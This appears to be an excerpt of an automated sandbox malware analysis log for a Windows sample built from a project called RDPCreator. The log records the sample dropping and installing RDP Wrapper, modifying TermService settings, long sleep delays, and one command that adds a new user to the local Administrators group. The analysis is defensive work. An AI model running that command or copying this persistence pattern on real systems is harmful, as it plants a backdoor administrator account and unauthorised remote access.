Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File written: C:\Program Files\RDP Wrapper\rdpwrap.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \??\C:\Windows\symbols\exe\RDPCreator.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3520024706.0000000006CD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.pdb` source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3517364014.000000000128C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.00000000030AF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3516600470.0000000000F39000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: rdpclip.pdb source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER7437.tmp.dmp.27.dr
Source:	Binary string: RfxVmt.pdbGCTL source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.3.dr
Source:	Binary string: 00000000000000000400000000000000.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3520024706.0000000006CD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: RDPCreator.pdbH source: WER7437.tmp.dmp.27.dr
Source:	Binary string: \??\C:\Windows\System.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3517364014.000000000128C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbI source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3517364014.0000000001283000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.00000000030AF000.00000004.00000800.00020000.00000000.sdmp, WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Configuration.pdbt source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Core.ni.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.00000000030AF000.00000004.00000800.00020000.00000000.sdmp, WER7437.tmp.dmp.27.dr
Source:	Binary string: rdpclip.pdbH source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: C:\Users\Scarrled\Desktop\test\RDPCreator\RDPCreator\obj\Release\RDPCreator.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
Source:	Binary string: rdpclip.pdbJ source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: mscorlib.ni.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3517364014.000000000128C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RfxVmt.pdb source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.3.dr
Source:	Binary string: System.Core.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Xml.pdb8 source: WER7437.tmp.dmp.27.dr
Source:	Binary string: RDPCreator.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.ni.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER7437.tmp.dmp.27.dr

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Static PE information: 0xF215694F [Sat Sep 13 23:31:27 2098 UTC]

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Code function: 0_2_01410507 push edi; retf	0_2_0141050A
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_004430DC push 00443161h; ret	3_2_00443159
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00439674 push ecx; mov dword ptr [esp], ecx	3_2_00439675
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00420164 push 004201DAh; ret	3_2_004201D2
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0040A178 push 0040A1E7h; ret	3_2_0040A1DF
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00437134 push 00437201h; ret	3_2_004371F9
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00443188 push 00443230h; ret	3_2_00443228
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0043421C push ecx; mov dword ptr [esp], edx	3_2_0043421E
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0044323C push 004432C7h; ret	3_2_004432BF
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00437298 push 0043732Eh; ret	3_2_00437326
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00437360 push 004373ADh; ret	3_2_004373A5
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0043A3F8 push 0043A450h; ret	3_2_0043A448
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_004176D4 push 00417879h; ret	3_2_00417871
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00421998 push 004219E5h; ret	3_2_004219DD
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0042AA70 push ecx; mov dword ptr [esp], edx	3_2_0042AA75
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0040CA10 push eax; retf 0040h	3_2_0040CA11
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0042AAB4 push ecx; mov dword ptr [esp], edx	3_2_0042AAB9
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00415C58 push ecx; mov dword ptr [esp], edx	3_2_00415C5D
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0040EC80 push ecx; mov dword ptr [esp], ecx	3_2_0040EC85
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00404E0C push eax; ret	3_2_00404E48
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0043FE8C push 0043FEE0h; ret	3_2_0043FED8

Persistence and Installation Behavior

Adds a new user with administrator rights

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_217d5074 /add

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	File created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	File created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	File created: C:\Windows\System32\rfxvmt.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Windows\System32\rfxvmt.dll

Jump to dropped file

Source: C:\Windows\System32\drivers\tsusbhub.sys

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tsusbhub\Parameters\Wdf

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 3_2_0043B58C OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,StartServiceW,GetLastError,Sleep,StartServiceW,CloseServiceHandle,CloseServiceHandle,

3_2_0043B58C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Memory allocated: 1410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Memory allocated: 2FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Memory allocated: 4FC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: OpenSCManagerW,GetLastError,EnumServicesStatusExW,GetLastError,CloseServiceHandle,EnumServicesStatusExW,CloseServiceHandle,GetLastError,CloseServiceHandle,

3_2_0043B7D4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Window / User API: threadDelayed 7562			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Window / User API: threadDelayed 2401			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Dropped PE file which has not been started: C:\Program Files\RDP Wrapper\rdpwrap.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Dropped PE file which has not been started: C:\Windows\System32\rfxvmt.dll			Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe TID: 6636	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe TID: 6712	Thread sleep count: 7562 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe TID: 6732	Thread sleep count: 2401 > 30	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_004092D8 FindFirstFileW,FindClose,	3_2_004092D8
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0040F73C FindFirstFileW,FindClose,	3_2_0040F73C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00408EB9 lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	3_2_00408EB9

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 3_2_00409D02 GetSystemInfo,

3_2_00409D02

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: Amcache.hve.27.dr	Binary or memory string: VMware
Source: Amcache.hve.27.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.27.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.27.dr	Binary or memory string: VMware, Inc.
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000307A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000307D000.00000004.00000800.00020000.00000000.sdmp, net1.exe, 00000014.00000002.1719504971.0000000000998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *Hyper-V Administrators
Source: Amcache.hve.27.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.27.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.27.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.27.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.27.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.27.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.27.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.27.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3517364014.0000000001203000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: net1.exe, 00000014.00000002.1719504971.0000000000998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administrators
Source: Amcache.hve.27.dr	Binary or memory string: vmci.sys
